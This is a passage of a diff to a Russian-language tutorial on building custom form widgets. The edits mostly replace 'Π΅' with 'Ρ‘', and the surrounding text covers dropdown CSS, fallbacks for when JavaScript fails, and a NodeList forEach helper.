+ (Ρ‡Ρ‚ΠΎ автоматичСски Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ полосу ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ), Π½ΠΎ этого Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ
+ (ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ установили ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ содСрТимоС списка Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘
Β  автоматичСски. Если это Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ - содСрТимоС Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π΅Π·Π°Π½ΠΎ.) */
max-height: 10em; /* 100px */
overflow-y: auto;
@@ -296,7 +296,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<tr>
<th scope="col" style="text-align: center;">ОсновноС состояниС</th>
<th scope="col" style="text-align: center;">АктивноС состояниС</th>
- <th scope="col" style="text-align: center;">Π Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠ΅ состояниС</th>
+ <th scope="col" style="text-align: center;">Π Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠ΅ состояниС</th>
</tr>
</thead>
<tbody>
@@ -325,18 +325,18 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<h3 id="ΠŸΠΎΡ‡Π΅ΠΌΡƒ_ΠΎΠ½_Π½Π΅_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚">ΠŸΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠ½ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚?</h3>
-<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ, Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅ ΠΎΠ΄Π½Ρƒ Π²Π°ΠΆΠ½ΡƒΡŽ Π²Π΅Ρ‰ΡŒ ΠΎΒ JavaScript: Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅Β <strong>это нСнадСТная тСхнология</strong>. Когда Π²Ρ‹ создаСтС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹,Β Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° JavaScript ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ Π·Π²Π΅Π½ΠΎ для связки. Однако Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… случаях  JavaScript Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅:</p>
+<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ, Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅ ΠΎΠ΄Π½Ρƒ Π²Π°ΠΆΠ½ΡƒΡŽ Π²Π΅Ρ‰ΡŒ ΠΎΒ JavaScript: Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅Β <strong>это нСнадёТная тСхнология</strong>. Когда Π²Ρ‹ создаётС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹,Β Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° JavaScript ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ Π·Π²Π΅Π½ΠΎ для связки. Однако Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… случаях  JavaScript Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅:</p>
<ul>
<li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΠ» JavaScript: Π­Ρ‚ΠΎ самый Ρ€Π΅Π΄ΠΊΠΈΠΉ случай; сСйчас ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ°Π»ΠΎ людСй ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ JavaScript.</li>
- <li>Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π½Π΅ загруТаСтся. Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· самых распространСнных случаСв, особСнно Π² мобильном ΠΌΠΈΡ€Π΅, Π³Π΄Π΅ ΡΠ΅Ρ‚ΡŒ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ надСТная.</li>
+ <li>Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π½Π΅ загруТаСтся. Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· самых распространённых случаСв, особСнно Π² мобильном ΠΌΠΈΡ€Π΅, Π³Π΄Π΅ ΡΠ΅Ρ‚ΡŒ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ надСТная.</li>
<li>Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π³Π»ΡŽΡ‡ΠΈΡ‚.Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ всСгда ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ эту Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ.</li>
<li>Π‘ΠΊΡ€ΠΈΠΏΡ‚ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΡƒΠ΅Ρ‚ со сторонним скриптом. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ»ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ со скриптами отслСТивания ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌΠΈ Π±ΡƒΠΊΠΌΠ°Ρ€ΠΊΠ»Π΅Ρ‚Π°ΠΌΠΈ (bookmarklets), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.</li>
<li>Π‘ΠΊΡ€ΠΈΠΏΡ‚ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΡƒΠ΅Ρ‚ с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ зависит ΠΎΡ‚ Π½Π΅Π³ΠΎ (Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅Β <a href="https://addons.mozilla.org/fr/firefox/addon/noscript/" rel="external" title="https://addons.mozilla.org/fr/firefox/addon/noscript/">NoScript</a>Β Π² Firefox,Β ΠΈΠ»ΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅Β <a href="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn" rel="external" title="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn">NotScripts</a>Β Π² Chrome).</li>
<li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΈ ΠΎΠ΄Π½Π° ΠΈΠ· Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π½Π΅ поддСрТиваСтся. Π­Ρ‚ΠΎ часто случаСтся, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄ΠΎΠ²Ρ‹Π΅ API.</li>
</ul>
-<p>Из-Π·Π° ΡΡ‚ΠΎΠ³ΠΎΒ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Ссли JavaScript Π½Π΅ сработаСт. Π”Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ рассмотрСниС этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эта проблСма тСсно связана с Ρ‚Π΅ΠΌ, Π½Π°ΡΠΊΠΎΠ»ΡŒΠΊΠΎΒ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ свой сцСнарий, Π½ΠΎ ΠΌΡ‹ рассмотрим основы этого Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
+<p>Из-Π·Π° ΡΡ‚ΠΎΠ³ΠΎΒ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Ссли JavaScript Π½Π΅ сработаСт. Π”Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ рассмотрСниС этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эта проблСма тСсно связана с Ρ‚Π΅ΠΌ, Π½Π°ΡΠΊΠΎΠ»ΡŒΠΊΠΎΒ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ свой сцСнарий, Π½ΠΎ ΠΌΡ‹ рассмотрим основы этого Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Ссли наш JavaScript ΠΊΠΎΠ΄ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ стандартный элСмСнт {{HTMLElement("select")}}. Для этого, Π½Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Π΄Π²Π΅ Π²Π΅Ρ‰ΠΈ.</p>
@@ -372,7 +372,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
.no-widget .select {
/* Π­Ρ‚ΠΎΡ‚ CSS сСлСктор Π·Π½Π°Ρ‡ΠΈΡ‚:
- ΠΈΠ»ΠΈ ΠΌΡ‹ присваиваСм классу body Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "widget" ΠΈ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΡ‹ скрываСм элСмСнт {{HTMLElement("select")}}
- - ΠΈΠ»ΠΈ ΠΌΡ‹ Π½Π΅ мСняСм класс body, Ρ‚ΠΎΠ³Π΄Π° класс body остаСтся Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ "no-widget",
+ - ΠΈΠ»ΠΈ ΠΌΡ‹ Π½Π΅ мСняСм класс body, Ρ‚ΠΎΠ³Π΄Π° класс body остаётся Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ "no-widget",
ΠΈ элСмСнты, Ρ‡Π΅ΠΉ класс "select" Π±ΡƒΠ΄ΡƒΡ‚ скрыты */
position : absolute;
left : -5000em;
@@ -411,7 +411,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<h3 id="ΠžΠ±Π»Π΅Π³Ρ‡Π΅Π½ΠΈΠ΅_Ρ€Π°Π±ΠΎΡ‚Ρ‹">ΠžΠ±Π»Π΅Π³Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹</h3>
-<p>Π’ ΠΊΠΎΠ΄Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ собираСмся Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ, для выполнСния всСх Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… дСйствий ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартный DOM API. Однако, хотя ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° DOM API Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… стала Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π»ΡƒΡ‡ΡˆΠ΅, всС Π΅Ρ‰Π΅ Π΅ΡΡ‚ΡŒ Π½ΡŽΠ°Π½ΡΡ‹ с ΡƒΡΡ‚Ρ€Π°Π΅Π²ΡˆΠ΅Π½ΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈΒ  (особСнно со старым Π΄ΠΎΠ±Ρ€Ρ‹ΠΌΒ Internet Explorer).</p>
+<p>Π’ ΠΊΠΎΠ΄Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ собираСмся Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ, для выполнСния всСх Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… дСйствий ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартный DOM API. Однако, хотя ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° DOM API Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… стала Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π»ΡƒΡ‡ΡˆΠ΅, всС Π΅Ρ‰Ρ‘ Π΅ΡΡ‚ΡŒ Π½ΡŽΠ°Π½ΡΡ‹ с ΡƒΡΡ‚Ρ€Π°Π΅Π²ΡˆΠ΅Π½ΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈΒ  (особСнно со старым Π΄ΠΎΠ±Ρ€Ρ‹ΠΌΒ Internet Explorer).</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹Β ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ нСприятностСй с ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ Π΅ΡΡ‚ΡŒ Π΄Π²Π° способа: ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ <a href="http://jquery.com/" rel="external" title="http://jquery.com/">jQuery</a>, <a href="https://github.com/julienw/dollardom" rel="external" title="https://github.com/julienw/dollardom">$dom</a>, <a href="http://prototypejs.org/" rel="external" title="http://prototypejs.org/">prototype</a>, <a href="http://dojotoolkit.org/" rel="external" title="http://dojotoolkit.org/">Dojo</a>, <a href="http://yuilibrary.com/" rel="external" title="http://yuilibrary.com/">YUI</a>, ΠΈ Ρ‚.ΠΏ., ΠΈΠ»ΠΈ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅Π΄ΠΎΡΡ‚Π°ΡŽΡ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ (Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· ΡƒΡΠ»ΠΎΠ²Π½ΡƒΡŽ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ <a href="http://yepnopejs.com/" rel="external" title="http://yepnopejs.com/">yepnope</a>).</p>
@@ -424,7 +424,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<li>{{domxref("element.querySelector","querySelector")}} and {{domxref("element.querySelectorAll","querySelectorAll")}}</li>
</ol>
-<p>Помимо доступности этих спСцифичСских Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, остаСтся Π΅Ρ‰Π΅ ΠΎΠ΄Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ.Β ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ {{domxref("element.querySelectorAll","querySelectorAll()")}} ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏΒ {{domxref("NodeList")}} Ρ‡Ρ‚ΠΎ отличаСтся ΠΎΡ‚Β <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code>. Π­Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β Β <code>Array</code> ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code>, Π°Β {{domxref("NodeList")}} Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚. Π’Π°ΠΊ ΠΊΠ°ΠΊΒ  {{domxref("NodeList")}} ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆ Π½Π°Β <code>Array</code> ΠΈ Π½Π°ΠΌ ΠΎΡ‡Π΅Π½ΡŒ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>forEach</code>, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ просто Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ <code>forEach</code>Β ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ {{domxref("NodeList")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ΡŒ Π½Π°ΠΌ Тизнь, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ:</p>
+<p>Помимо доступности этих спСцифичСских Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, остаётся Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ.Β ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ {{domxref("element.querySelectorAll","querySelectorAll()")}} ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏΒ {{domxref("NodeList")}} Ρ‡Ρ‚ΠΎ отличаСтся ΠΎΡ‚Β <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code>. Π­Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β Β <code>Array</code> ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code>, Π°Β {{domxref("NodeList")}} Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚. Π’Π°ΠΊ ΠΊΠ°ΠΊΒ  {{domxref("NodeList")}} ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆ Π½Π°Β <code>Array</code> ΠΈ Π½Π°ΠΌ ΠΎΡ‡Π΅Π½ΡŒ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>forEach</code>, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ просто Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ <code>forEach</code>Β ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ {{domxref("NodeList")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ΡŒ Π½Π°ΠΌ Тизнь, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js">NodeList.prototype.forEach = function (callback) {
Array.prototype.forEach.call(this, callback);
@@ -437,7 +437,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<p>Π˜Ρ‚Π°ΠΊ, Π½Π°Ρ‡Π°Π»ΠΎ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΎ, ΠΈ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ ΠΊ функциям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ.</p>
<pre class="brush: js">// Π­Ρ‚Π° функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° наш Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½
-// Π•ΠΉ пСрСдаСтся ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€
+// Π•ΠΉ пСрСдаётся ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€
// select : DOM Π½ΠΎΠ΄Π° класса `select` ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½
function deactivateSelect(select) {
@@ -465,7 +465,7 @@ function activeSelect(select, selectList) {
// Нам Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ состояниС всСх Π½Π°ΡˆΠΈΡ… Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ²
// Π’Π°ΠΊ ΠΊΠ°ΠΊ функция deactivateSelect соотвСтствуСт всСм трСбованиям
- // Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ forEach ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Π΅Π΅ Π±Π΅Π· использования ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠΉ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ
+ // Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ forEach ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Π΅Ρ‘ Π±Π΅Π· использования ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠΉ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ
selectList.forEach(deactivateSelect);
